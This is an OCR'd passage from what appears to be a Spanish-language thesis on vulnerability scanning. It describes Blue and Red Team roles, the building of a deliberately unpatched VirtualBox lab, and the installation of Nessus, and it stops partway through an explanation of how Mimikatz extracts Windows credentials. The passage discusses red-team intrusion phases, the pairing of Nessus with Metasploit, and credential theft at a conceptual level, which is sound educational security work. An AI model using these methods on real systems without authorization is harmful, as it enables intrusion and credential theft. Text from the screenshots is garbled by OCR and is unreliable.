e Instalacion de softwares de seguridad para la proteccion de los dispositivos
externos.

e Configuracién de los controles de acceso a los firewalls. Instalacion,
configuracion y actualizacién de antivirus y antimalware.

e Configuracion y despliegue de IDS (sistemas de deteccion de intrusos) e IPS
(sistemas de prevencion de intrusos) para controlar la seguridad de deteccién y
prevencion de la organizacion.

e Aplicacion de soluciones SIEM (sistema de gestion de eventos e informacion de
seguridad) para analizar y registrar toda la actividad de la red.

e Realizacién de anélisis de los registros y la memoria para llevar a cabo en todo
momento un control exhaustivo sobre la actividad en el sistema y de esta forma
identificar cualquier actividad inusual y poder localizar cualquier tipo de ataque
informatico.

e Realizar una correcta configuracion y separacion de las redes.

e Instalacion y uso de softwares de gestion y exploracion de vulnerabilidades.

De esta forma, siguiendo todos los pasos y técnicas de actuacion redactadas en este punto
de forma breve, es como el ‘Blue Team’ actlia para dar una seguridad y proteccion a todos
los datos y sistemas de una organizacién fortaleciendo las barreras cibernéticas que tienen
acceso a la red.

Una vez explicado como se organiza y actGa el equipo de trabajo ‘Blue Team’,
explicaremos con que finalidad utiliza este el software Nessus.

Como bien sabemos, Nessus es un software centrado en la basqueda de vulnerabilidades
en redes de equipos. Es por ello, que el ‘Blue Team’ utiliza este software, para tener un
absoluto control y seguimiento de todos los equipos de su red. Gracias a Nessus, este
equipo puede anticiparse y actuar frente a cualquier vulnerabilidad existente,
eliminandola o parchedndola, dando una alta seguridad a la organizacion.

Otro uso que se le da a Nessus es la poderosa unién con un SIEM para realizar analisis
autenticados sin comprobaciones de vulnerabilidad proporcionando una lista de todos los
dispositivos autorizados y no autorizados en la red de la organizacion.

De esta forma, y con el uso de Nessus es como el ‘Blue Team’ tiene siempre sus equipos
actualizados y libres de vulnerabilidades protegiendo a su organizacién de todo tipo de
ataques o anomalias en la red. [18]

2.1.4.2 Ataque (Red team).

El segundo equipo de trabajo que encontramos es el ‘Red Team’. Este equipo trata de
buscar todo tipo de vulnerabilidades criticas en los sistemas existentes en la red de una
organizacion y simular un ataque dirigido comprobando la posibilidad de tener acceso a
estos, poniéndolos a prueba atacando sus puntos débiles. De esta forma, lo que busca el
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‘Red Team’ es demostrar si la organizacion esta preparada ante distintos escenarios de
ataque.

El objetivo principal del ‘Red Team’ es poner a prueba la seguridad gestionada por el
‘Blue Team’. Al equipo ‘Red Team’ solo se le proporciona el nombre de la empresa y
con tan solo eso deben buscar la manera de poder entrar en la empresa. Para ello, el ‘Red
Team’ sigue siempre y para todos 10s casos seis pasos esenciales para la busqueda de una
explotacion y obtencion de acceso a la organizacion.

La metodologia es la siguiente:

e Definicion y planificacion. Definicion de que tipo de vectores criticos se
utilizaran y la seguida planificacion de como los activos seran atacados.

e Reconocimiento externo. En esta segunda parte se desarrollaran todas las
acciones para identificar los sistemas que estan expuestos en la organizacion y
asi ir identificando las vulnerabilidades que se utilizaran para realizar la intrusién.

e Compromiso inicial. Se busca una vulnerabilidad tan critica que permita realizar
un exploit abriendo paso a la intrusién. Esto se realiza con todo tipo de pruebas,
desde ataques de fuerza bruta, subida de archivos que te eleven privilegios hasta
ingenieria social.

e Acceso a lared interna. Una vez se ha encontrado un activo como punto débil, se
busca la manera de utilizar este para alcanzar la red interna de la organizacion.
Este paso puede llegar a ser algo tedioso dependiendo de la seguridad de la
empresa pudiendo alcanzar dias hasta conseguir el acceso a la red.

e Elevacion de privilegios. En esta etapa lo que se busca es abrir todas las vias de
acceso posibles para tener caminos alternativos en el caso de que el ‘Blue Team’
detectase el ataque y comenzase a activar protocolos de proteccion. De esta
manera, el ‘Red Team’ puede continuar el ataque por diferentes frentes de la
organizacion.

e Reconocimiento interno. Una vez se ha conseguido acceso total a toda la
informacién y red de la organizacién, se pone en aviso a esta y se realiza un
reconocimiento interno de todos los activos para explicar las vulnerabilidades que
estos tienen. Después, se evalla que ataques mas peligrosos podrian haberse
llevado a cabo y cual hubiese sido el resultado. De esta manera el equipo ‘Red
Team’ pone en conocimiento a la organizacién sobre la seguridad que tiene
activa.

Una vez definida la metodologia que sigue el ‘Red Team’, explicaremos los vectores o
vias de acceso que existen para la intrusion en organizaciones.

El primer vector o via de acceso es el vector de acceso del ‘Red Team’. Este vector son
todos los pasos o0 acciones que hemos seguido para comprometer un primer activo que
nos ha permitido tener acceso a la red interna de la organizacion. Los vectores de acceso
mas frecuentes son:

e Sistemas expuestos en internet que permitan un facil acceso interno.

o Infraestructura wiffi sin seguridad.

e USB con malware con archivos maliciosos que de acceso al ‘Red Team’ a la
organizacion.

e Emulacion de comunicaciones y herramientas de acceso que permitan extraer
informacion y poner en compromiso los sistemas.
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El primer vector o via de acceso es el vector de ataque del ‘Red Team’. Este vector son
todos los pasos que hemos seguido durante la intrusion, es decir, desde que entramos a la
red hasta el robo de la informacion. Los vectores de ataque mas frecuentes son [19]:

e Correo electrénico y mensajeria instantanea.

¢ Navegacion web.

e Endpoints.

e Aplicaciones web, portales corporativos, intranets y redes sociales.

e Softwares de redes y sistemas mal configurados, desactualizados o no
parcheados.

e Credenciales de usuarios tipicas, por defecto o comprometidas.

e Trabajadores insatisfechos o extrabajadores con acceso.

e Carencias de cifrado.

Una vez explicado cémo se organiza y actia el equipo de trabajo ‘Red Team’,
explicaremos con que finalidad utiliza este el software Nessus.

Este equipo se centra en la busqueda de vulnerabilidades en una organizacion objetivo.
Para ello, utiliza Nessus, ya que aparte de mostrarle todas las vulnerabilidades que pueden
tener los sistemas, le explica posibles métodos de explotacion de dicha vulnerabilidad y
sus parcheos. De esta manera, un atacante puede detectar posibles vias de acceso y a su
vez la manera de esquivar los parcheos que el ‘Blue Team’ de la organizacion instale.

Uno de los usos mas frecuentes por parte del ‘Red Team’ es la combinacion de Nessus
con Metasploit usando Kali Linux. De esta forma, con Nessus detectan todo tipo de
informacidn de los sistemas encontrados como SO, puertos abiertos, IPs, vulnerabilidades
criticas, etc. Con esta informacion y con la ayuda de Metasploit, los atacantes pueden
hacerse facilmente con el control de los equipos. [20]

Como podemos ver ambos equipos de trabajo juegan un papel fundamental en la ciberseguridad
y gracias a herramientas como Nessus ambos equipos obtienen facilidades a la hora de proteger
y atacar sistemas.
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3. Creacion y montaje del entorno de
pruebas (VirtualBox)

Para poder llevar a cabo el analisis de vulnerabilidades utilizando Nessus, hemos creado un
entorno de prueba con varias maquinas virtuales. Estas maquinas simulan una pequefa red de
trabajo.

Para crear este entorno virtual hemos utilizado cuatro maquinas con diferentes sistemas operativos
y versiones que simularan ser los equipos de esta red.

Para la preparacion de este entorno hemos instalado cada una de las maquinas con su versién por
defecto, sin ningln tipo de actualizacidén para poder mostrar de una manera mas facil lo que
conlleva tener sistemas desactualizados o con un sistema operativo sin soporte.

Como punto de partida para el montaje del entorno virtual, utilizaremos un ordenador con
VirtualBox ya instalado y las ISOs ya descargadas. Estas han sido descargadas de los siguientes
enlaces:

e Ubuntu 16: http://old-releases.ubuntu.com/releases/

e Windows 7: https://archive.org/details/Windows7Professional64Bit

e Windows XP: https://archive.org/details/win_xp_pro

o Windows 10: https://www.microsoft.com/es-es/software-download/windows10
e Kali Linux: https://www.kali.org/get-kali/#kali-installer-imagesv

. kali-linux-2022.1-installer-amdad
. ubuntu 16.04 desktop (amdéd)
. Win 7 Professional (64-bit)

B win XP pro (64-bit)
B win1021H2 (64-bit)

lustracién 25 — ISOs utilizadas

Comenzamos preparando el entorno instalando Windows XP. Para ello, creamos una nueva
méaquina virtual en VirtualBox e introducimos la ISO de Windows XP. Después, lanzamos la
magquina y comenzamos la instalacion.

Windows XP Professional Setup

Please wait while Setup copies files
to the Windows installation folders.
This might take several minutes to complete.

Ilustracién 26 — Inicio de instalacion WXP
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Introducimos nuestra region para la configuracion de la localizacion y del teclado. Después
introducimos nuestra ‘Key’ de Windows XP.

e
#5 Windows £Z Windows

_ lows XP Professional Setup windows XP Professional Setup ]
Collecting © Collecting
information Regional and Language Options information Your Product Key §
o You zah customize Windows XP for different regions and languages. Your Product Key uniquely identifies your copy of Windows XP. [
Dynamic (o) .
o
(J

Dynamic
Update

Update

Preparing
installation @ Regional and Language: Options allow you to change the way numbers, dates,

Preparing
installation Please see your License A 2 or System N to obtain your
25-character Volume License product key. For more information see your product
ing.
The Standards and formats setting iz set to Spanish [Interational Sort], and the Type the Vi Licerss Pi 1 Key below:
location is set to Spain, "
@ Finaleing

Ta change these seftings, click Customize: Custorize... installation

Setup will complete!
33 minuk Text Input Languages allow you to enter text in many different languages, using awvoxin'mtely:
o a variety of input methods and devices 33 minutes

cumencies and the time are displayed. You can also add support far additional
lahguages. and change pour location setting

“Your default text input language and method is: Spanish keyboard layout

To view o change your current configuration . elick Details. Details..

llustracion 27 — Seleccion de region WXP llustracion 28 — Serial Key WXP

Introducimos el nombre del equipo, la contrasefia del usuario administrador y la configuracion
tipica de red.

——
#5 Windows

Programa de instalacién de Windows %P Professional

‘Windows XP Professional Setup Configuracién de red

Instalar el software de red le permitird conectarse con otros equipos, redes e Internet.

Computer Mame and Administrator Password
“You must provide a name and an Administrator password for your computer

@B, Seleccions i deses uiiizar una configuracion tipica o personalizada:

L
| lg etuphas suggested a name for your computer. If your computer is ah a & Configuracin tipica
;1 netwerk, pour network adrministrator can tell you what nsme o use. Ciea conexianes de red usando el Cliente para redes Microsaft, Compartic
archivas e impresoras para redes Micrasoft, Pragramader de paquetes
Compuiter name EMPRESAIOEIR Euuti ;nyéﬁlz glolucolo de hiansporte TCPAP con dieccionamisnto

Setup creates a user account called Administratar, “You use this account when
you need full access to your computer.

¢ Configuracién personalizada
Le permite configurar manualmsnte componentes de red
Type an Administratar passward.

Administrator password: I" e

Confirm password. I---n|

llustracion 29 — Nombre del equipo y contrasefia de administrador WXP Ilustracién 30 — Configuracion de red WXP

Una vez terminada la instalacion del sistema operativo, pasamos a la configuracion de este. En
este paso, es importante que marquemos la opcion de ‘No en este momento’ para evitar que se
instalen las actualizaciones del sistema sin nuestro permiso. De esta manera, podremos ver la
diferencia de vulnerabilidades que tiene un equipo sin actualizaciones y con. Tambien,
ntroducimos varios usuarios que simularan personal del departamento.

1 . :
5 Windows

JQuien usara este equipo?

Ayudar a proteger mi equipo activando Actualizaciones
automaticas

n
Panel de control de| Inicio, N Cuentas de usuario.

le 0 ponerse en contacto con usted.

llustracion 31 — Denegacion de actualizaciones WXP llustracion 32 — Creacidn de usuarios WXP 27



Seguimos con la instalacion del equipo Windows 7. De la misma manera que con la maquina
anterior, introducimos la ISO y lanzamos la maquina para comenzar con la instalacion.

Seleccionamos ‘espafiol” como formato de hora y tipo de distribucion de teclado. Avanzamos con
la instalacion y llegamos al apartado de ‘Tipo de instalacion’. Importante seleccionar
‘Personalizada (Avanzada)’ para evitar que se instale cualquier actualizacion sin nuestro permiso.

% Instalar Windows L . »
— ¢Qué tipo de instalacién desea?

Adtualizacion
Actualice a una versién mas reciente de Windows y conserve los archivos, las

:‘ g configuraciones y los programas. La opcién de actualizacién solo ests disponible al

ejecutar una version existente de Windows. Es recomendable que haga una copia de
seguridad de los archivos antes de continuar.

Windows 7 "

Instale una nueva copia de Windows. Esta opcién no conserva ningin archivo,

J—  configuracion ni programa. La opcién para realizar cambios en los discos y las
k‘ particiones esta disponible al iniciar el equipo con el disco de instalacién. Es
recomendable que haga una copia de seguridad de los archivos antes de continuar.

L I B £ paiol (Espaiia, intemacional)

Teclado o método de entrada: [FREN] Ayudarme a decidir

Especifique el idioma y las preferencias adicionales y después haga clic en™ .

Siguiente |

—

1 Recopilar informacion 2 Instalar Windows

Ilustracién 33 — Seleccién de idioma y region W7 llustracion 34 - Tipo de instalacion W7

Creamos un usuario administrador y su contrasefia. Una vez acabemos la instalacion e iniciemos
sesion, afiadiremos otro usuario llamado Juan al equipo. Este equipo tendra tres usuarios, ‘Admin’
de tipo administrador del sistema, ‘Administrador’ como superadministrador y ‘Juan’ como
usuario normal

e
Eopana, mternacional il

Q o4 Instalar Windows

() 4 Instalar Windows

Establezca una contrasefia para su cuenta

La creacién de una contraseiia es una precaucion de seguridad inteligente que ayuda s proteger
Ia cuenta del usuario ante usuarios no deseados. Asegirese de no olvidar la contrasefia o de
guardarla en un lugar seguro.

£7 Windows 7 Professional

Elija un nombre de ususrio para su cuenta y dé un nombre a su equipo para distinguirlo en la red.

Escriba una contraseiia (recomendado):
conee
Escriba un nombre de usuario (por ejemplo, Juan):
admi
Escriba un nembre de equipe:
2dmin-PC

Vuelva a escribir la contrasefia:

Escriba un indicio de contrasedia (requerido):

Elija una palabra o frase que le ayude a recordar la contrasefa.
Si la olvidara, Windows le mostrard el indicio de contrasefia.

Copyright © 2009 Microsoft Corporation. Reservados todos los derechos.

Ilustracién 35 — Creacidn de usuario W7 llustracion 36 — Creacion de contrasefia W7

Continuamos con la instalacion por defecto de Windows hasta llegar al apartado de las
actualizaciones donde marcaremos ‘Preguntar mas tarde’ para evitar que se instale ninguna
actualizacion por defecto. Por altimo, configuramos el tipo de red.
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S Eepanal (E=pans, intemacional ) Ryods =

pana, intemacio

@ 4 Instalar Windows

Ayude a proteger el equipo y a mejorar Windows automaticamente

") Usar la configuracion recomendada
\j Instale actualzaciones importantes y recomendadas, ayude a mejorar la seguridad al
explorar Internet, busque soluciones 2 problemas en linea y ayude a Microsoft a mejorar
Windows.

@ 4 Instalar Windows

Seleccione la ubicacion actual del equipo

Este equipo esté conectado a una red. Windows aplicard autométicamente la configuracién de
red correcta para la ubicacién de la red

/‘ Red doméstica

{=‘ ") Si todos los equipos de esta red se encuentran en su casa y los reconece, ésta es una red
457 doméstica de confianza. No elija esta opcién para lugares piblicos como cafés o
acropuertos.

l 5 Red de trabajo
: Sitodos los equipos de la red estin en su area de trabajo y los reconoce, significa que es

una red de trabajo de confianza. No elija esta opcion para lugares publicos come cafés o
aeropuertos.

Instalar sdlo las actualizaciones importantes
Instale slo actualizaciones de sequridad y otras actualizaciones importantes de
Windows.

@I Preguntarme mas tarde
" Sino decide shora, e equipo podria exponerse a amenazas de sequridad.

=2 Red plblica
$i no reconece todos los equipos de la red (por ejemplo, est un café o un aeropuerto, o
tiene banda ancha mévil), ésta es una red plblica y no es de confianza

Més informacién acerca de cada opcién

1

Ciertotipo de informacion se envia a Microsoft si se usa la configuracién recomendada o si se
instala alguna actualizacién. La informacion enviada no se usara para identificar al usuario ni para
ponerse en contacto con &l. Para desactivar esta configuracién més adelante, busque Desactivar

configuracién recomendada’ en Ayuda y soparte téenico. Lea la declsracion de privacidad. Sino estd seguro, lja la opcion Red publica.

llustracion 37 — Denegacion de actualizaciones W7 llustracion 38 — Seleccion configuracion de red W7

Continuamos preparando el entorno instalando Windows 10. Igual que con las otras instalaciones
seleccionamos el idioma y formato de teclado. Seleccionamos la version de Windows 10 Pro
puesto gue es la version mas orientada a un entorno de trabajo real. Ademas, esta versién tiene
mas caracteristicas, especialmente en materia de seguridad, respecto a las otras, por lo que
podremos modificar mas parametros y aplicar mas actualizaciones de seguridad.

G 1 Progrms de mstsacion d Windows

i Programa de configuracién de Windows r el sistema operativo que quieres instalar

2% Windows

0871072021
060202

2 .
llustracion 39 — Seleccion de idioma y region W10 Ilustracion 40 — Seleccion de tipo de SO a instalar W10

En el paso de tipo de instalacion importante seleccionar la opcion de ‘Personalizada: instalar solo
windows’ para evitar que instale cualquier tipo de actualizacion de seguridad. Y continuamos con
la instalacion tipica de Windows.

& e Proguama de instalecisn de Windows £ Programa ce instalaci6n de Windows

Instalando Windows

£Qué tipo de instalacién quieres?

stalar Windaws y canservar archives, configuraciones Estado

Bersonalizada: instalar solo Windows (avanzado)

llustracion 42 — Progreso de la instalacion W10

llustracion 41 —Tipo de instalaciéon W10



Creamos un usuario administrador y su contrasefia para el equipo. Seguimos con la instalacion de
Windows 10 rechazando todas las opciones de ‘Encontrar mi dispositivo, Mejora de la escritura,
etc’ y opciones similares hasta terminar la instalacion.

¢Quién va a usar este equipo? Crear una contrasefia facil de recordar

2Qué nombre qui

R_'

Siquiente Siguiente

llustracion 43 — Creacion de usuario W10 llustracion 44 — Creacidn de contrasefia W10

El siguiente equipo que vamos a instalar es Ubuntu. Como en las instalaciones anteriores,
seleccionamos el idioma del equipo y rechazamos la descarga de actualizaciones mientras se
instala el sistema operativo.

@ Instalar (as superuser)

Instalar (as superuser)
Le damos la bienvenida

Preparandose para instalar Ubuntu

English
paiiol
Esperanto
Euskara
Francais
Gaeilge

Galego
Hrvatski
islenska
Italiano
Rurc Probar Ubuntu Instalar Ubuntu

Latviski — —
Lietuviskai

Magyar Z:[eedcegroharubuntu sin hacer ning(in cambio en su equipo, directamente desde

") Descargar actualizaciones al instalar Ubuntu

Esto ahorrara tiempo después de la instalacion.
~) Instalar software de terceres para multimedia, MP3, Flash y compatibilidad con graficas y Wi-Fi
This software is subject to license terms included with its documentation. Some is proprietary.

£l complemento Fluendo MP3 incluye la tecnologia de decodificacion MPEG Layer-3 licenciada por FraunhoFer I1Sy Technicolor SA.

Nederlands
Norsk bokmal O si estd listo, puede instalar Ubuntu junte a (o en lugar de) su sistema operativo
Norsk nynorsk actual. Esto no tardara demasiado.

Polski salir Atrds Continuar
Portugués

Es posible que quiera leer las notas de publicacion.

[0 1599 3] & (¥) TR oereCHs | —

llustracion 45 — Seleccion de idioma Ubuntu llustracion 46 — Denegacion de actualizaciones Ubuntu

Creamos un usuario administrador, ponemos un hombre al equipo y establecemos una contrasefia
para dicho usuario. Seguimos con la instalacion normal de Ubuntu y terminamos de instalar el
ultimo equipo del entorno de pruebas que conformaran la red de trabajo.

Instalar (as superuser) Instalar (as superuser)

Le damos la bienvenida a Ubuntu

;Quién es usted?

Sunombre: | administrador L4 Répido y repleto de caracteristicas nuevas, la
Elnombre desuequipo: [equipo | ¥ versién més reciente de Ubuntu hace que la
computacién sea mas fcil que nunca.
Elnombre que usa cuando habla con otros equipos. B oa i A=y
Introduzca un nombre de usuario: | administrador <
Introduzca una contrasena: | 90 00® Contrasefia corta
Confirme su contrasena: | 90 00® <

Iniciar sesion automaticamente
© solicitar mi contrasena para iniciar sesién
") cifrar mi carpeta personal

Atras Continuar
\; e
llustracion 47 — Creacion de usuario, nombre del equipo y contrasefia llustracion 48 — Progreso de la instalacion Ubuntu
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Por ultimo, instalamos y preparamos el equipo de Kali Linux, con el que explotaremos las

vulnerabilidades encontradas en Nessus.

Para ello, seleccionamos ‘Graphical install’ para usar la version de escritorio grafico y

seleccionamos nuestra ubicacion.

KALI

Kali Linux installer menu (BIOS mode)

Graphical install

Install

Advanced options

Accessible dark contrast installer menuw
Install with speech synthesis

Press a key, otherwise speech synthesis will be started@in 16 seconds...

llustracion 49 — Seleccion tipo de instalacion Kali Linux

| KALI I

Seleccione su ubicacion

La ubicacién seleccionada aqui se utilizara para fijar su zona horaria y también como ejemplo para ayudarle a
seleccionar la localizacion de su sistema. Esta localizacion sera habitualmente el pais donde vd. vive.

Esta es una lista reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja «otro» si su
ubicacion no estd en la lista.

Pafs, territorio o drea:

Chile

D]

Colombia

‘Costa Rica

cuba L3
Ecuador

El Salvador

Estados Unidos
‘Guatemala
Honduras
México

Nicaragua

Panama

<]

Continuar

Capturar la pantalla J [

Retroceder I [

llustracién 50 — Seleccion de ubicacion Kali Linux

Seleccionamos las opciones para nuestra configuracion de teclado y de zona horaria.

| KALI I

Configure el teclado

Mapa de teclado a usar:

Panyabi

B)

Rumano

Ruso

Serbio (cirilico)
Sindhi
Cingalés
Eslovaco

Esloveno

Sueco
Francés suizo
Alemdn suizo
Tayiko

Tamil

Telugi
Tailandés

[

Tibetano

Capturar la pantalla J [

Retroceder I [ Continuar

| KALI I

Configurar el reloj

Sila zona horaria deseada no esta en la lista entonces vuelva atras al paso «Escoja el idioma» y seleccione un
pais que utilice la zona horaria deseada (el pais donde vive o esta ubicado).

Seleccione una ubicacion en su zona horaria:

Ceuta y Melilla
Islas Canarias

llustracion 51 — Seleccion de configuracion de teclado Kali Linux

llustracion 52 — Seleccion de zona horaria Kali Linux

Esperamos a que termine de detectar nuestra configuracion de red y le damos un nombre a la

maquina.

| KALI I

Configurar la red

Esperando a la direccién local de enlace...

Cancelar J

| KALI |

Por favor, introduzca el nombre de la maquina.

Configurar la red

El nombre de maquina es una sola palabra que identifica el sistema en la red. Consulte al administrador de red
si no sabe qué nombre deberia tener. Si esta configurando una red doméstica puede inventarse este nombre.
Nombre de la magquina:

(=

llustracion 53 — Progreso de la configuracion de red Kali Linux

llustracion 54 — Nombre del equipo Kali Linux
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Creamos un usuario y su contrasefia.

| KALI I

Seleccione un nombre de usuario para la nueva cuenta. Su nombre, sin apellidos ni espacios, es una eleccion
razonable. El nombre de usuario debe empezar con una letra minuscula, seguida de cualquier combinacion de
nimeros y més letras mintsculas.

Configurar usuarios y contrasefias

Nombre de usuario para la cuenta:

| KALI I

Configurar usuarios y contrasefias

Una buena contrasefia debe contener una mezcla de letras, nimeros y signos de puntuacién, y debe
cambiarse regularmente.

Elja una contrasera para el nuevo usuario:

[..

= ]

[ Mostrar la contrasefia en claro

Por favor, introduzca la misma contrasefia de usuario de nuevo para verificar que la introdujo correctamente.
Vuelva a introducir fa contrasefia para su verificacion:

[..

13

[ Mostrar la contrasefia en claro

llustracion 55 —Creacion de usuario Kali Linux

Ilustracion 56 —Creacidn de contrasefia Kali Linux

Por ultimo, seleccionamos las herramientas que queremos que se instalen, en nuestro caso
dejaremos marcadas las que vienen por defecto, y esperamos a que acabe la instalacion del

sistema.

| KALI I

At the moment, only the core of the system is installed. The default selections below will install Kali Linux with
its standard desktop environment and the default tools.

Seleccién de programas

You can customize it by choosing a different desktop environment or a different collection of tools.
Choose software to install:

Desktop environment [selecting this item has no effect]

... Xfce (Kali's default desktop environment)

[ ... GNOME

[] ... KDE Plasma

13
Collection of tools [selecting this item has no effect]

top10 -- the 10 most popular tools

.. default -- recommended tools (available in the live system)

Desempaquetando python3-minimal (amd64)

| KALI I

Seleccionar e instalar programas

Seleccionar e instalar programas

llustracion 57 — Seleccion de herramientas a instalar Kali Linux

llustracion 58 — Progreso de la instalacion Kali Linux

Finalmente, nuestro entorno de pruebas quedaria de la siguiente manera.

-

v

W &9

Nueva Configuracion Descartar Inicar
[ General

Nombre:

) —

kali-inux-2022.1-
virtualbox-amdé4
Debian (64-bit)

Sistema operativo:

[ previsualizacion

[EI77] Windows 7 =
Guardada (5] sistema
Memoria base: 2048 MB
Procesadores: 2 3
8™ Ubuntu 16 Orden de arranque:  Disco duro, Optica
f ([ Guardada Aceleracién: VT-x/AMD-V, Paginacién
anidada, PAE/NX,
Paravir 6
| windows xP
P;
() Guardada 8 Pantaka
Memoria de video: 128 MB
Controlador grafico: VMSVGA
Windows 10 Servidor de esritorio remoto:  Inhabilitado
Guardada Grabadin: Inhabilitado

Almacenamiento

Controlador: IDE
IDE secundario maestro:
Controlador: SATA
Puerto SATA 0:
{n Audio

Controlador de anfitrién:  Windows DirectSound
Controlador: ICH AC97

@ Red

Adaptador 1:

[Unidad dptica] Vadio

1219-V5)

kali-inux-2022. 1-virtualbox-amd64-disk00 1.vdi (Normal, 80,00 GB)

Intel PRO/1000 MT Desktop (Adaptador puente, «Intel(R) Ethernet Connection (2)

llustracién 59 — Entorno de pruebas
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Ya tendriamos las cuatro maquinas principales sobre las que trabajaremos, la maquina Kali, la
cual usaremos en la parte atacante para el uso de ‘Metasploit’ y, por ultimo, nuestro equipo
anfitrion donde instalaremos Nessus.

4. Instalacidon de Nessus.

Una vez preparado el entorno de trabajo vamos a instalar Nessus en nuestro equipo anfitrién. Para
ello, vamos a descargar Nessus de la propia pagina de Tenable (https://es-
la.tenable.com/products/nessus/nessus-essentials).

Dentro de Tenable existen varias versiones de Nessus, nosotros utilizaremos la version
‘Essentials’ la cual nos permite utilizar Nessus de manera gratuita con la limitacion de solo poder
escanear 16 IPs. El resto de las versiones tienen un alto costo.

Lo primero gue tendremos que hacer es registrarnos en la pagina de Tenable y esperar a que nos
envien un cdédigo de activacion de Nessus, el cual, se nos pedira durante la instalacion.

Una vez estemos dentro de la pagina de Tenable descargamos el .exe.

1 Download and Install Nessus Summary

Choose Download Release Date: Jul

Version Platform Release Notes:

Nessus -10.3.0
Signing Keys:
@ Download

Start and Setup Nessus

Open

Getting Started

Check out our

llustracion 60 — Descarga de Nessus

Una vez tengamos €l .exe lo ejecutamos y comenzamos con la instalacion.

llustracion 61 — Nessus.exe

Welcome to the InstallShield Wizard for
Tenable Nessus (x64)

The Installshield(R) Wizard will install Tenable Nessus (x64) on
your computer, To continue, dick Mext.

WARNING: This program is protected by copyright law and
international treaties.

Ilustracion 62 — Inicio de la instalacion de Nessus
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https://es-la.tenable.com/products/nessus/nessus-essentials
https://es-la.tenable.com/products/nessus/nessus-essentials

Aceptamos los términos de la instalacion.

ﬁ Tenable Messus (x84) - InstallShield Wizard =

License Agreement

Please read the following license agreement carefully.

*+*IMPORTANT *+*

THIS AGREEMENT IS INTENDED IO BE LEGALLY BINDING. BY CLICKING
THE “4GREE™ OR “ACCEPT” BUTTON BELOW AND/OR CONTINUING TO
DOWNLOAD, INSTALL OR USE TENABLE SOFTWARE AND OR SERVICES
(OR AUTHORIZINGALLOWING 4 THIRD PARTY TO DO S0 ON YOUR
BEHALF), YOU INDICATE:

(1) YOUR ACCEPTANCE OF THIS AGREEMENT;

(2) YOU ACKNOWLEDGE THAT YOU HAVE READ ALL OF THE

TERMS AND CONDITIONS OF THIS AGREEMENT. INDERSTAND ¥

(@)1 accept the terms in the license agreement

()1 do not accept the terms in the license agreement

InstallShield

llustracion 63 — Aceptacion de términos de Nessus

Seleccionamos el directorio donde instalaremos Nessus.

ﬁ Ten
Destination Folder
Click Next to install to this folder, or dick Change to install to a different folder.

Install Tenable MNessus (x64) to:
C:'\Program Files\Tenable\Messus!, Change...

InstallShield

Ilustracion 64 — Directorio de instalacién de Nessus

Seleccionamos la opcion ‘Install’ y esperamos a que acabe la instalacion.

*

‘E Tenable

Ready to Install the Program

The wizard is ready to begin installation.

Click Install to begin the installation.

If you want to review or change any of your installation settings, dick Back. Click Cancel to
exit the wizard.

InstallShicld

<o [ Gwal || Concd

llustracion 65 — Install



ﬁ Tenable Messus (x64) - InstallShield Wizard — e

Installing Tenable Nessus (x64)
The program features you selected are being installed.

Please wait while the InstallShield Wizard installs Tenable Nessus (x64). This
may take several minutes,

Status:

InstallShield

llustracion 66 — Progreso de la instalacion

Seleccionamos la opcioén ‘Finish’ y terminamos la instalacion.
L4

InstallShield Wizard Completed

The Installshield Wizard has successfully installed Tenable

Messus (x64). Click Finish to exit the wizard.

< Back Cancel

llustracion 67 — Finalizacion de la instalacion

Una vez terminada la instalacion se nos abrird una pestafia del navegador que tengamos
predeterminado en nuestro equipo. Esta pestafia nos advierte de que todo el trafico que hagamos
hacia la GUI de Nessus se realizara por SSL (HTTPS) y por ello nuestro equipo no confiara en la
direccion de Nessus (https://localhost:8834). Esto ocurre porque Nessus por defecto no se aplica
a si mismo en la instalacién un CA (Certificado de seguridad). Mas adelante crearemos uno y lo
aplicaremos.

llustracion 68 — Conexion no privada
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https://localhost:8834/

Para poder acceder al portal de Nessus simplemente pincharemos en ‘Configuracion avanzada’
y en ‘Acceder a localhost’. De esta manera, podremos acceder al portal de Nessus bajo nuestro
propio consentimiento y sin tener activo el CA.

Volver para estar a salvo

llustracion 69 — Acceso sin CA

Una vez entramos en el portal de Nessus, lo primero que se nos pedira sera seleccionar el tipo de
Nessus a instalar. Pincharemos la opcion ‘Essentials’ ya que es para la que nos han enviado el
codigo. Seguidamente, le damos a ‘continue’ e introduciremos el codigo que nos han enviado los
de Tenable al correo.

( Inessus

Welcome to Nessus
Choose how you want to deploy Nessus. Select a
product to get started.

nessus

Essentials

Register Nessus
Enter your activation code.

O Nessus Essentials
Activation Code *

@ Nessus Professional

@ Nessus Expert

Register Offline ©

@ Nessus Manager

@ Managed Scanner
Continue

Continue

llustracién 70 — Tipo de Nessus (Essentials) llustracion 71 — Cédigo de activacion

En el siguiente paso introducimos un nombre y una contrasefia para crear el usuario con el que
administraremos el portal de Nessus y pinchamos en ‘submit’.
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nessus

Essentials

Create a user account

Create a Nessus administrator user account. Use
this username and password to log in to Nessus.

Username *

SergioUAH

Password *

Submit

llustracion 72 — Creacion del usuario administrador de Nessus

Por Gltimo, esperamos a que Nessus termine de descargar y compilar todos los plugin que
utilizaremos mas adelante en los diferentes escaneos.

( Ynessus Q nessus

Initializing
Please wait while Nessus prepares the files
needed to scan your assets.

Initializing
Please wait while Nessus prepares the files
needed to scan your assets.

Downloading plugins... Compiling plugins...

llustracion 73 — Descarga de plugins llustracion 74 — Compilacion de plugins

Una vez se hayan descargado todos los plugins y estén listos para usarse se abrira el portal de
Nessus listo para usarse.
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Welcome to Nessus Essentials

llustracion 75 — Portal de Nessus

5. Instalacion y documentacion de las
herramientas usadas

En este apartado hablaremos de las herramientas externas usadas para la parte de la explotacion
de vulnerabilidades.

La primera herramienta que usaremos es Mimikatz. Este software se creé en 2011 por Benjamin
Delpy con el objetivo de que fuese una herramienta para la bisqueda de vulnerabilidades de los
protocolos de ataque de Windows. Pero este software se convirtid en una potencial herramienta
de ataque altamente efectiva contra los clientes de Windows.

Esta herramienta permitia recuperar todas las contrasefias seguras de un equipo, asi como los
hashes de las contrasefias almacenadas en memoria. Mimikatz explotaba la funcionalidad de
inicio de sesion unico que tenia Windows para robar las contrasefias almacenadas. Windows
usaba por defecto WDigest para guardar todas las contrasefias de los usuarios del equipo de
manera cifrada en memoria, pero tambien la clave secreta para descifrarlas, y es ahi, donde
Mimikatz entraba en accion para hacerse con las contrasefias.

A dia de hoy, Windows tiene la funcion WDigest inactiva, pero todavia sigue incorporada en los
sistemas operativos de Microsoft lo que la convierte en una potencial amenaza ya que un atacante
